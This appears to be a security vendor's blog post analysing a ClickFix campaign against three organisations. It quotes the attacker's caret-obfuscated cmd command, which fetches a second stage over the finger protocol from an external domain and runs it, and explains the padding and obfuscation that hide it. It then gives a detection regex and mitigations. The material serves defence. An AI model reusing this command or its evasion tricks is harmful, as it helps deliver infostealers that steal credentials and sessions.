ClickFix is everywhere right now, and the whole exploit is three keystrokes the victim unwittingly types for the attacker: Win+R, paste, Enter. Most advice says to catch it when the stolen session shows up in your sign-in logs… except by then, the infostealer has finished its work. You can catch it much earlier, because everything you need is sitting in a single process-creation event on the endpoint. Earlier this week, Kindling caught the same variant hitting three unrelated organizations in one day.
The same attacker string, 65 seconds apart
Kindling, the triage engine behind Blumira, works through a flurry of active cases across our customers every day. On the 13th, three of them stood out: a county government, a manufacturer and a healthcare practice, in three different states, with no obvious connection between them.
Kindling called each one a 100% high-confidence threat, and named ClickFix in its reasoning. Its daily digest then tied the three together. One customer seeing this once looks like noise, while three seeing it on the same day is a campaign. Correlating across customers is how we caught it, and we keep getting better at spotting these cohort-level trends.
What the victim sees, and what they don't
It starts with a fake "I'm not a robot" check. The page has already put a command on the clipboard, and the "verification" step tells the user to press Win+R, paste and hit Enter. That pasted string is the real command followed by a few hundred spaces and a harmless-looking line about pressing Enter. The Run box is narrow, so the user sees only that last line while the command itself scrolls off to the left.
This is the core of what ran at the healthcare practice, with the attacker's handle removed:
for /f "delims=@" %g in (',f^^i^^n^^g^^e^^r <handle>@dns-api[.]org') do %g &
Across the full command line, six things happen:
- A person launches it. The parent process is Explorer because the user ran it from the Run dialog, so there's no macro or malicious attachment to catch.
- The windows stay hidden. Each shell starts minimized, and nothing flashes on screen.
- The command name gets broken up. cmd strips those carets before it runs the line, but they defeat any detection looking for the literal word "finger."
- The next stage arrives over finger. Finger is a user-lookup protocol from the 1970s that talks on TCP port 79. The command asks the attacker's server about a "user," and whatever text comes back is the payload.
- The reply runs immediately. The for loop executes the response line by line in the same shell, without writing a file first.
- Padding and a lure hide all of it from the person who pasted it.
Attackers like finger because it ships with Windows, it's signed by Microsoft, almost nobody uses it for real work, and a lot of egress filtering only pays attention to web traffic.
Why the identity layer is too late
Honestly, it's a little wild to me that the standard advice for ClickFix is to watch identity and wait for a sign-in from a strange location or a token replayed from a new device. You will eventually see that. An infostealer doesn't need much time, though, and by the time the stolen session reaches your identity logs it’s already taken the browser credentials and session tokens it came for.
The endpoint saw everything first. One process-creation event carries the whole chain (Explorer as the parent, the obfuscated command, the finger target, the padded lure), and it lands before the attacker authenticates anywhere. Keep your identity detections. Just don't make them the first place you look for this.
The pattern to look for
Run this against the command-line field of your process-creation events. That's Windows Security event 4688 with command-line logging turned on, Sysmon event 1, or your EDR's equivalent.
(?i)f[\^"]*i[\^"]*n[\^"]*g[\^"]*e[\^"]*r(\.exe)?[\s"\^]+\S+@\S+
It's built to survive the obvious variations, including any number of carets inside "finger," different amounts of padding, and new handles and domains. Expect the infrastructure to rotate. We saw two domains in a single day.
The regex is the precise check, but each of these is worth a look on its own:
- finger.exe running at all, especially when cmd.exe started it from Explorer
- cmd.exe started from Explorer with a long run of spaces in its command line
- caret-obfuscated command names in cmd
- outbound connections on TCP 79 from a workstation
What to do today
- Block outbound TCP 79 at your firewall. Hardly any business needs it.
- Block or restrict finger.exe with AppLocker or App Control for Business (WDAC).
- Search your process-creation logs with the regex, as far back as you keep them.
- If you get a match, isolate the host and assume everything saved in that user's browsers is stolen. Reset passwords and revoke sessions, then check the user's RunMRU registry key to see exactly what they pasted.
- Tell your users one thing: a real CAPTCHA never asks you to press Win+R.
Unrelated organizations across the country got hit with the same playbook on the same day, so assume yours is on the list and defend accordingly. If you want to learn more about how Kindling can keep watch for the next variant in your environment, check out blumira.com/kindling
